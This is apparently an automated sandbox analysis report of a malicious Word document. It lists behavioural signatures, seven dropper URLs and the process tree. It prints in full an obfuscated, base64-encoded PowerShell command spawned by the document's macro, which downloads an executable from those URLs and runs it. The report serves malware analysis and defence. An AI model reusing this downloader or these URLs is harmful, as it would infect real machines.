Analysis
- max time kernel
137s - max time network
127s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
04/05/2024, 04:49
General
- Target 118866a7e5eba19370d4f92a5a11f8ca_JaffaCakes118.doc
- Size 153KB
- Sample240504-ff3rnsde9t
- SHA256 e159458d4bc5114c9261dfedaff530c0bea0b0d109555197f3fb7747692e538e
Malware Config
Extracted
-
ps1
-
exe.dropper
http://www.gozowindmill.com/meteo/97/
-
exe.dropper
http://www.greaudstudio.com/docs/Z/
-
exe.dropper
https://b176f.cn/wp-admin/1/
-
exe.dropper
https://blog.socialpill.in/jdzetd/fZuInax/
-
exe.dropper
http://maisshake.com.br/wp-includes/dPmzV1/
-
exe.dropper
http://mesdelicesitaliens.fr/wp-admin/tSlCBpP/
-
exe.dropper
http://grndl.com/oinj/j4/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 9 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\118866a7e5eba19370d4f92a5a11f8ca_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABSADMAbABmAF8AZgAyAD0AKAAoACcASgA5ADEAeAB5ACcAKwAnAGwAJwApACsAJwA0ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBzAEUAcgBwAHIATwBGAEkAbABlAFwARgAwAEIAdwBlADUANABcAGQARwB3AGwAcgBZADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBpAGAAVAB5AHAAcgBgAE8AYABUAE8AYABjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAKAAnADIALAAgAHQAbAAnACsAJwBzACcAKwAnADEAMQAnACkAKwAnACwAJwArACgAJwAgAHQAJwArACcAbAAnACkAKwAnAHMAJwApADsAJABBADYANgBqADYAdgB1ACAAPQAgACgAJwBVAGoAJwArACcAawBmACcAKwAoACcAbQBrACcAKwAnAGcAYwAnACkAKQA7ACQAVABxAGQAeQA5ADkAbQA9ACgAKAAnAFoAdwAnACsAJwBjAGsAcAAnACkAKwAnADUAJwArACcAYgAnACkAOwAkAFcAbgBpAHUAawBrAGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwA0ACcAKwAnAHgAUAAnACkAKwAoACcARgAwACcAKwAnAGIAdwAnACkAKwAoACcAZQAnACsAJwA1ADQAJwArACcANAB4AFAARABnAHcAJwApACsAKAAnAGwAcgB5ADQAJwArACcANAAnACkAKwAnAHgAUAAnACkALgAiAHIARQBwAEwAQQBgAEMARQAiACgAKABbAGMAaABhAFIAXQA1ADIAKwBbAGMAaABhAFIAXQAxADIAMAArAFsAYwBoAGEAUgBdADgAMAApACwAJwBcACcAKQApACsAJABBADYANgBqADYAdgB1ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAQwBqAGgAZQBnADQANQA9ACgAJwBaAHQAJwArACcAaAAnACsAKAAnAG4AeQAnACsAJwB0AG8AJwApACkAOwAkAEcAdQBjAGgAcwBoADEAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAQwBMAGkARQBuAHQAOwAkAEYAdwBsADEAcwBzAHYAPQAoACcAaAAnACsAKAAnAHQAdABwADoALwAvAHcAJwArACcAdwB3AC4AJwArACcAZwBvAHoAbwAnACsAJwB3ACcAKQArACgAJwBpACcAKwAnAG4AZABtACcAKwAnAGkAbAAnACkAKwAoACcAbAAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAG0AZQB0AGUAbwAvACcAKwAnADkANwAnACkAKwAoACcALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AdwB3AHcAJwApACsAJwAuAGcAJwArACgAJwByAGUAJwArACcAYQAnACkAKwAnAHUAJwArACgAJwBkAHMAdAB1AGQAJwArACcAaQBvAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AZAAnACkAKwAoACcAbwAnACsAJwBjAHMALwBaACcAKwAnAC8AKgBoAHQAdABwAHMAJwApACsAJwA6ACcAKwAoACcALwAvAGIAJwArACcAMQA3ACcAKwAnADYAZgAuACcAKwAnAGMAJwApACsAJwBuACcAKwAoACcALwB3AHAAJwArACcALQAnACkAKwAoACcAYQAnACsAJwBkAG0AaQBuACcAKQArACgAJwAvADEALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwA6AC8AJwApACsAJwAvAGIAJwArACgAJwBsAG8AJwArACcAZwAnACkAKwAoACcALgAnACsAJwBzAG8AJwApACsAJwBjAGkAJwArACgAJwBhAGwAJwArACcAcABpACcAKQArACgAJwBsAGwALgBpAG4ALwBqAGQAJwArACcAegAnACsAJwBlAHQAJwArACcAZAAvACcAKQArACcAZgBaACcAKwAnAHUAJwArACgAJwBJAG4AYQB4ACcAKwAnAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAbQBhACcAKwAnAGkAcwAnACkAKwAnAHMAJwArACcAaAAnACsAKAAnAGEAJwArACcAawBlACcAKQArACcALgAnACsAJwBjAG8AJwArACgAJwBtAC4AJwArACcAYgAnACsAJwByAC8AJwArACcAdwBwAC0AaQBuAGMAbAB1AGQAJwApACsAJwBlACcAKwAoACcAcwAvAGQAUAAnACsAJwBtACcAKQArACcAegBWACcAKwAnADEALwAnACsAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8ALwBtACcAKwAnAGUAJwArACcAcwBkACcAKQArACcAZQBsACcAKwAoACcAaQAnACsAJwBjAGUAJwApACsAKAAnAHMAaQB0AGEAJwArACcAbAAnACkAKwAoACcAaQBlAG4AJwArACcAcwAnACkAKwAoACcALgBmAHIAJwArACcALwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQAnACsAJwBkACcAKQArACgAJwBtACcAKwAnAGkAbgAnACkAKwAnAC8AdAAnACsAKAAnAFMAbAAnACsAJwBDAEIAcABQAC8AJwApACsAKAAnACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACkAKwAoACcAZwByACcAKwAnAG4AZABsAC4AYwBvACcAKwAnAG0ALwBvACcAKQArACgAJwBpACcAKwAnAG4AagAvAGoAJwArACcANAAvACcAKQApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAdgBpADEAeABrAHAAPQAoACcASgAnACsAJwB2AHoAJwArACgAJwAxADEAbgAnACsAJwBuACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARgBtAGQAcwBlAG8ANwAgAGkAbgAgACQARgB3AGwAMQBzAHMAdgApAHsAdAByAHkAewAkAEcAdQBjAGgAcwBoADEALgAiAEQATwB3AG4AbABgAE8AYQBEAEYAYABJAGwAZQAiACgAJABGAG0AZABzAGUAbwA3ACwAIAAkAFcAbgBpAHUAawBrAGoAKQA7ACQARwA5AGkAYgAwADkAbwA9ACgAKAAnAFEAJwArACcAMQB6ACcAKQArACgAJwBwACcAKwAnADEAXwBwACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFcAbgBpAHUAawBrAGoAKQAuACIATABlAGAATgBHAGAAVABoACIAIAAtAGcAZQAgADIAOAA5ADEANQApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABXAG4AaQB1AGsAawBqACkAOwAkAEwAYQA2AHcAbAB2ADYAPQAoACgAJwBGADMAJwArACcAdwBkAGQAJwApACsAJwB5AHcAJwApADsAYgByAGUAYQBrADsAJABUAGUAMQBrAG0AeABtAD0AKAAoACcARwBkADkAdgAnACsAJwBhACcAKQArACcAawAnACsAJwBvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBzAGsAbQBzADUAOQA9ACgAKAAnAEsAaAAzACcAKwAnAGcAJwApACsAJwA0ADgAJwArACcAdAAnACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
sist02.xsl
__PSScriptPolicyTest_hdso4nvy.rdv.ps1
memory/4220-72-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4220-90-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4220-82-0x0000011FB0320000-0x0000011FB0342000-memory.dmp
memory/4900-19-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-5-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-6-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-8-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-11-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-12-0x00007FFC63240000-0x00007FFC63250000-memory.dmp
memory/4900-10-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-9-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-14-0x00007FFC63240000-0x00007FFC63250000-memory.dmp
memory/4900-16-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-15-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-13-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-17-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-0-0x00007FFC65830000-0x00007FFC65840000-memory.dmp
memory/4900-18-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-31-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-35-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-7-0x00007FFC65830000-0x00007FFC65840000-memory.dmp
memory/4900-2-0x00007FFC65830000-0x00007FFC65840000-memory.dmp
memory/4900-3-0x00007FFC65830000-0x00007FFC65840000-memory.dmp
memory/4900-4-0x00007FFC65830000-0x00007FFC65840000-memory.dmp
memory/4900-96-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-97-0x00007FFCA584D000-0x00007FFCA584E000-memory.dmp
memory/4900-98-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-1-0x00007FFCA584D000-0x00007FFCA584E000-memory.dmp
memory/4900-576-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-577-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-578-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp
memory/4900-600-0x00007FFC65830000-0x00007FFC65840000-memory.dmp
memory/4900-601-0x00007FFC65830000-0x00007FFC65840000-memory.dmp
memory/4900-599-0x00007FFC65830000-0x00007FFC65840000-memory.dmp
memory/4900-602-0x00007FFC65830000-0x00007FFC65840000-memory.dmp
memory/4900-603-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp